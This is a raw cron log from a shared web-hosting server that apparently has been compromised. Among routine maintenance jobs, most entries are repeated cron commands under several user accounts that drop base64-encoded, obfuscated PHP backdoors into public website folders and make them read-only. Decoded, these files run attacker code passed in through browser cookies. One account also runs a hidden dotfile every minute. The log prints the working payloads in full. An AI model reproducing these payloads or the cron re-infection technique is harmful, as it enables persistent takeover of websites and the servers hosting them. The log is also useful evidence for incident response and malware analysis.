Mar  1 06:32:01 medusa CROND[16400]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:32:01 medusa CROND[16401]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:32:01 medusa CROND[16403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:32:01 medusa CROND[16404]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:32:01 medusa CROND[16398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:32:01 medusa CROND[16405]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:32:01 medusa CROND[16408]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:32:01 medusa CROND[16402]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:32:01 medusa CROND[16414]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:33:01 medusa CROND[20625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:33:02 medusa CROND[20761]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:33:02 medusa CROND[20762]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:33:02 medusa CROND[20767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:33:02 medusa CROND[20768]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:33:02 medusa CROND[20770]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:33:02 medusa CROND[20771]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:33:02 medusa CROND[20773]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:33:02 medusa CROND[20775]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:33:02 medusa CROND[20778]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:33:02 medusa CROND[20783]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:33:02 medusa CROND[20787]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:34:01 medusa CROND[25884]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:34:01 medusa CROND[25904]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:34:01 medusa CROND[26014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:34:01 medusa CROND[26023]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:34:01 medusa CROND[26029]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:34:02 medusa CROND[26030]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:34:02 medusa CROND[26031]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:34:02 medusa CROND[26032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:34:02 medusa CROND[26033]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:34:02 medusa CROND[26034]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 